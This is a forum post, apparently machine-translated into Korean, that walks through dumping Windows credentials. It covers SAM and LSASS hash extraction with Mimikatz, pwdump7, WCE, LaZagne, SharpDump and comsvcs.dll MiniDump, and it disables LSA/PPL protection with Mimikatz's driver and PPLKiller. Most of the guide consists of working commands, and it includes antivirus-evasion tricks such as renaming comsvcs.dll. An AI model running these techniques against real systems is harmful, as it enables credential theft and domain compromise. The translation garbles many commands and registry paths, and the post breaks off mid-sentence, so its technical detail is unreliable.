Jump to content

현재 기계의 일반 텍스트 비밀번호를 받으십시오

도메인 해시를 내보내기 전에 먼저 현재 컴퓨터의 로컬 해시 비밀번호를 내보내려고 노력할 수 있습니다. 도메인 사용자가 이전 에이 컴퓨터에 로그인하는 경우 도메인 사용자 또는 도메인 관리자의 계정을 직접 얻을 수 있습니다.

Windows 운영 체제에서 SAM 데이터베이스 (C: \ Windows \ System32 \ Config \ Sam)는 로컬 사용자의 해시를 저장합니다.

로컬 인증 프로세스에서 로컬 보안 권한 서비스 프로세스 lsass.exe도 메모리 (DMP 파일)의 사용자 비밀번호를 캐시합니다.

따라서 현재 기계의 해시를 크롤링하는 두 가지 방법 인 온라인 도구 추출 및 오프라인 분석 추출을 고려할 수 있습니다.

참고 : Windows 10 \ 2012R2 이후의 시스템 버전에서 시스템 사용자의 일반 텍스트 암호는 기본적으로 메모리 캐시에서 비활성화됩니다. 현재 Mimikatz를 사용하여 일반 텍스트를 잡을 수 있으며, 확실히 그것을 잡을 수 없습니다. 비밀번호 필드 숫자는 NULL로 직접 표시됩니다.

여기서는 일반 텍스트를 저장하기 위해 레지스트리를 수동으로 수정하여 크롤링 할 수 있습니다. (수정 후 로그인하기 전에 사용자에서 로그 아웃해야합니다)

reg 추가 hklm \\ system \\ currentControlset \\ Control \\ securityproviders \\ wdigest /v Uselogoncredential /t reg \ _dword /d 1 /f

Mimikatz

Mimikatz는 Frenchman Benjamin이 개발 한 강력한 경량 디버깅 도구입니다. 개인 테스트를위한 것이지만 강력한 기능으로 인해 Windows XP-2012와 같은 운영 체제의 일반 텍스트 암호를 직접 읽을 수 있으며 침투 테스트로 유명합니다. 그것은 침투에 필요한 도구라고 할 수 있습니다.

다운로드 주소 : https://github.com/gentilkiwi/mimikatz

1. 레지스트리를 통한 크롤링 해시

현재 시스템 레지스트리의 SAM 및 시스템 파일을 얻기 위해 명령 줄을 실행하십시오 (지역 관리자 권한 필요).

reg save hklm \\ system sys.hiv

reg save hklm \\ sam sam.hiv

파일을 얻은 후 파일을 공격자의 기본 컴퓨터로 다운로드하고 Mimikatz를 사용하여 오프라인 해시를 분석하고 추출 할 수 있습니다.

mimikatz.exe 'lsadump:sam /sam:sam.hiv /system:sys.hiv' 'exit'

이 방법은 SAM 파일에 저장된 로컬 사용자의 계정 만 얻을 수 있습니다.

pjno1avgdtk11742.png

2. Mimikatz를 대상 기계에 업로드하고 로컬 SAM 파일에 저장된 계정 해시 값을 추출하십시오.

권한 3:debug

TOKEN3:3360ELEVATE

LSADUMP3:SAM

1kdcsqhowgb11743.png

3. 해시를 lsass.exe의 메모리에서 확장하십시오

Mimikatz 'Privilege:debug' 'Sekurlsa:LogonPasswords Full' 'Exit'

14kwcpfe5zx11744.png

2ukljcxigxx11745.png

로컬 사용자에게 로그인 한 도메인 관리자의 해시 값이 로컬 사용자의 관리자 권한을 사용하여 캡처 한 것으로 나타났습니다.

pwdump7

pwdump7.exe를 직접 실행하십시오

ketxr4mztzy11746.png

wec

대상 기계에 업로드하고 매개 변수를 추가하여 직접 실행하십시오.

-L 로그인 세션 및 NTLM 자격 증명 (기본값)

-S 현재 로그인 세션 매개 변수의 NTLM 자격 증명 수정 : 사용자 이름 : DomainName :LM HASH :NT HASH

-R 정기적으로 로그인 세션 및 NTLM 자격 증명을 나열합니다. 새 세션이 발견되면 5 초마다 다시 되풀이됩니다.

-C 특수 NTML 자격 증명 매개 변수로 새 세션을 실행합니다.

-E 로그인 세션 및 NTLM 자격 증명을 수시로 나열하고 로그인 이벤트가 생성 될 때 한 번 다시 릴리스트

-o 모든 출력을 파일 매개 변수에 저장 : 파일 이름

-현재 로그인 세션 매개 변수 :을 사용하는 대신 루드를 지정합니다.

-D 로그인 세션 매개 변수 :에서 NTLM 자격 증명을 삭제합니다

-주소 매개 변수 : 주소를 사용합니다

-F Force Safe Mode

-G LM 및 NT 매개 변수 암호에 대한 해시를 생성합니다

-K 캐시 Kerberos 파일 (Unix 및 Windows WCE 형식) 티켓

-K 파일에서 Kerberos 티켓을 읽고 Windows 캐시에 삽입하십시오.

-W 다이제스트 인증을 통해 일반 텍스트 비밀번호를 캐시합니다

-V 상세한 출력

3ean1big5k211747.png

라자네

다운로드 주소 : https://github.com/alessandroz/lazagne

Lazagne.exe 모두

jfcj3htjvoh11748.png

SharpDump

https://github.com/ghostpack/sharpdump

직접 컴파일하면됩니다

./sharpdump

pmvh3bi0upq11749.png

lsasssilentprocessexit

https://mp.weixin.qq.com/s/8uer5DNAQS24KUKXU5YI9W

침묵 프로세스 출구, 즉 조용히 종료됩니다. 이 디버깅 기술은 werfault.exe 프로세스를 도출 할 수 있으며,이 프로세스는 프로그램을 실행하거나 모든 프로세스의 메모리 파일 또는 팝업을 재배치하는 데 사용할 수 있습니다.

주로 LSASSSILENTPROCESSEXIT API를 사용합니다. LEGISTION + 원격 프로세스 분사 및 관련 레지스트리 키 값을 수정하여 메모리를 덤프합니다.

#define ifeo \ _reg \ _key '소프트웨어 \\\\\ microsoft \\\\\\ Windows nt \\\\\ currentVersion \\\\\ execution 옵션 \\\\\'

#define silent \ _process \ _exit \ _reg \ _key '소프트웨어 \\\\\\ Microsoft \\\\\ Windows nt \\\\\ currentversion \\\\\ silentProcessexit \\\\\\'

원격 프로세스 주입을 사용하여 lsass.exe가 rtlreportsilentprocessexit 기능 자체를 호출하십시오.

hmodule hntdll=getModule Handle (l 'ntdll.dll');

rtlreportSilentProcessExit \ _func rtlreportSilentProcessExit=(rtlReportSilentProcessExit \ _func) getProcadDress (hntdll, 'rtlreportSilentProcessExit');

hthread=createremotethread (hprocess, null, 0, (lpthread \ _start \ _routine) rtlreportSilentProcessExit, (lpvoid) -1, null, null);

그러나 레지스트리를 수정해야하므로 소프트 킬링 환경을 우회하는 것은 거의 불가능합니다.

lsasssilentprocessexit.exe 616 0

qaaun3huzqw11750.png

민감한 환경에서 LSASS 프로세스를 덤프하는 방법

파일없이 PowerShell을 사용하여 파일없이 내보내십시오

https://blog.csdn.net/chenfeng857/article/details/120126818

https://xz.aliyun.com/t/12157#toc-9

comsvcs.dll, 시스템과 함께 제공됩니다. comsvcs.dll의 내보내기 함수 Minidump를 통해 덤프 메모리를 구현하십시오.

지정된 프로세스 메모리 파일을 덤프 할 때는 SedeBugPrivilege 권한이 필요합니다. 관리자 권한의 CMD에 따라 SedeBugPrivilege 권한은 기본적으로 지원되지만 상태는 비활성화됩니다.

sifcktu5lej11751.png

CMD에서 rundll32 명령을 직접 실행하고 지정된 프로세스 메모리 파일을 덤프하려고하면 sedebugprivilege 권한을 활성화 할 수 없으므로 덤프가 실패합니다.

그러나 관리자 권한이있는 PowerShell에서는 SedeBugPrivilege 권한이 기본적으로 지원되며 상태가 활성화됩니다.

wm4mflfiapa11752.png

먼저 lsass.exe 프로세스 PID를 확인하십시오

작업 목록 | findstr lsass.exe

rundll32.exe comsvcs.dll minidump pid 경로 가득

rundll32.exe comsvcs.dll minidump 1096 c: \\ users \\ 16229 \\ goodtop \\ 1.dmp full

직접 실행하면 소프트를 죽임으로써 가로 채워질 수 있습니다.

그것을 우회하는 간단한 방법 :

Copycomsvcs.dll to In Insensitive Directories 및 무작위로 명명 된 Test.dll

C: \\ Windows \\ System32 \\ comsvcs.dll test.dll을 복사하십시오

rundll32.exe c: \\ users \\ 16229 \\ goodtop \\ code \ _java \\ test.dll minidump 1096 c: \\ users \\ 16229 \\ goodtop \\ code \ _java \\ 3.dmp full

0guv5q35ymg11753.png

로컬로 드래그하고 분석을 위해 Mimikatz를 사용하십시오.

Mimikatz.exe log 'Sekurlsa3333:minidump 2.dmp' 'sekurlsa333:logonpasswords Full'Exit

runasppl이 활성화 된 환경에서

https://www.freebuf.com/articles/system/332506.html

https://xz.aliyun.com/t/12157#toc-19

Mimikatz

PPL 보호 기능을 사용하여 관리자조차도 LSASS 프로세스를 열 수 없습니다.

Mimikatz 'Privilege:debug' 'Sekurlsa:LogonPasswords Full' 'Exit'

d0wkes4rkbv11754.png

Mimikatzprivilege:debug의 명령이 성공적으로 활성화되었습니다. sedebugprivilege이지만 명령 sekurlsa333:0logonpasswords가 실패하고 오류 코드0x00000005가 나타납니다. Minikatz 코드 kuhl_m_sekurlsa_acquirelsa () 함수에서 간단히 이해할 수 있습니다.

hdata=null을 처리합니다.

dword pid;

dword processrights=process_vm_read | Process_Query_Information;

kull_m_process_getprocessidforname (l 'lsass.exe', pid);

hdata=OpenProcess (processrights, false, pid);

if (hdata hdata!=invalid_handle_value) {

//OpenProcess OK 인 경우

}

또 다른 {

print_error_auto (메모리 핸들);

}

프로세스 탐색기를 사용하여 LSASS 프로세스를 열어 볼 수있게되면 액세스가 거부됩니다.

ocqsvxruel211755.png

Mimikatz의 디지털 서명 드라이버를 사용하여 커널의 프로세스 객체에 대한 보호 플래그를 제거하십시오.

5b5tq51sdai11756.png

Minikatz 설치 드라이버

권한 3:debug

!+

1jah0m3o2ts11758.png

보호 삭제

! ProcessProtect /Process:lsass.exe /제거

hivl32vyf4u11759.png

그런 다음 비밀번호를 버릴 수 있습니다

Sekurlsa:LogonPasswords

4njxvib0z0p11760.png

도구를 사용하여 보호가 삭제 된 것을보십시오.

ii3z5li3hmc11761.png

mimikatz.exe 'privilege:debug' '!+' '! ProcessProtect /Process3:lsass.exe /제거' 'Sekurlsa33333:LogonPasswords'exit '

pplkiller

https://www.cnblogs.com/revercc/p/16961961.html

https://redcursor.com.au/bypassing-lsa-protection-aka-protected-process-light-withoutmimikatz-on-windows-10/

우선 순위 차이 : PP는 시그니처 레벨이 더 크거나 동일하다면 전체 액세스 권한으로 PP 또는 PPL을 열 수 있습니다. PPL은 서명 수준이 높거나 같으면 전체 액세스 권한으로 다른 PPL을 열 수 있습니다. 시그니처 레벨에 관계없이 PPL은 전체 액세스 권한이있는 PP를 열 수 없습니다.

PPL이 활성화되면 더 높은 보호 수준에서 실행되는 프로세스 만 보호 된 프로세스에서 작동 할 수 있습니다.

Windows 커널은 _eprocess 구조를 사용하여 커널 메모리의 프로세스를 나타냅니다. 여기에는 유형 (_ps_protected_type) 및 서명자 (_ps_protected_signer) 속성을 통해 프로세스의 보호 수준을 정의하는 _ps_protection 필드가 포함됩니다.

typedef struct _ps_protection {

연합 {

uchar 레벨;

구조 {

UCHAR 유형 : 3;

Uchar Audit : 1; //예약된

Uchar Signer : 4;

};

};

} ps_protection, *pps_protection;

구조물로 표시되지만 모든 정보는 단일 바이트의 두 개의 니블 (leveles a uchar, signed char)에 저장됩니다. 처음 3 자리는 보호 유형을 나타냅니다 (아래 ps_protected_type 참조). 프로세스가 PP 또는 PPL인지 정의합니다. 마지막 4 자리는 서명자 유형 (아래 PS_Protected_Signer 참조), 즉 실제 보호 수준을 나타냅니다.

typedef enum _ps_protected_type {

psprotectedTypenone=0,

psprotectedTyPepRotectedlight=1,

psprotectedTyPeprotected=2

} ps_protected_type, *pps_protected_type;

typedef enum _ps_protected_signer {

psprotectedSignerNone=0, //0

psprotectedSignerauthenticode, //1

psprotectedSignerCodeGen, //2

psprotectedSignerantimalware, //3

psprotectedSignerlsa, //4

psprotectedSignerWindows, //5

psprotectedSignerwintcb, //6

psprotectedSignerWinsystem, //7

psprotectedSignerApp, //8

psprotectedSignerMax //9

} ps_protected_signer, *pps_protected_signer;

LSA 보호를 우회하려면 eprocess 커널 구조를 패치하여 LSASS 프로세스의 PPL 플래그를 비활성화 할 수 있습니다. 이를 위해서는 LSASS eprocess 구조의 주소와 패치 5 값을 찾아야합니다.

EnumDevedIvers 기능은 커널베이스 주소를 누출하는 데 사용될 수 있습니다. 이것은 시스템 프로세스의 eprocess 구조를 가리키는 psinitialsystemprocess를 찾는 데 사용될 수 있습니다. 커널은 링크 된 목록에 프로세스를 저장하므로 Eprocess 구조의 ActiveProcessLinks를 사용하여 링크 된 목록을 반복하고 LSASS를 찾을 수 있습니다.

eprocess 구조를 살펴보면 패치해야 할 5 개의 필드가 일반적으로 4 바이트로 정렬되어 있음을 알 수 있습니다. 이를 통해 다음과 같이 단일 4 바이트 쓰기로 eprocess 구조를 패치 할 수 있습니다.

qtokgx2fzoj11762.png

주소를 찾은 후이 4 바이트의 값을 0으로 패치하십시오.

pplkiller.exe /installdriver

작업 목록 | findstr lsass.exe

pplkiller.exe /disableppl 688

다른 커널 버전을 만나면 프로그램이 4 바이트를 올바르게 패치 할 수 없으므로 동일한 버전의 컴퓨터를 찾아 LSASS 커널 주소를 WINDBG 디버깅을 통해 볼 수 있습니다.

bcdedit/debug onsrv \*https://msdl.microsoft.com/다운로드/기호

1ziy0bvg5oz11763.png

.Reload

! 프로세스 0 0 LSASS.EXE

dt \ _eprocess

l1bxl11fvnz11764.png

ynu0mxmul5t11765.png

arkyccmrsjv11766.png

주소0x6c0을 찾고 스크립트를 수정 한 다음 컴파일하십시오.

tussnijwbfu11767.png

ppldump

https://itm4n.github.io/the-end-of-ppldump/

https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/

PplDump는 C/C ++로 작성된 도구로 사용자 상태 취약성 착취를 구현하여 관리자로서 PPL에 임의 코드를 주입합니다. 이 기술은 Alex Ionescu와 James Forshaw가 보호 프로세스 (PP 및 PPL)에 대한 심층적 인 연구를 수행하는 많은 연구 결과 중 하나입니다.

ppldump의 작동 원리는 다음과 같습니다.

AP에 전화하십시오

0 Comments

Recommended Comments

There are no comments to display.

Guest
Add a comment...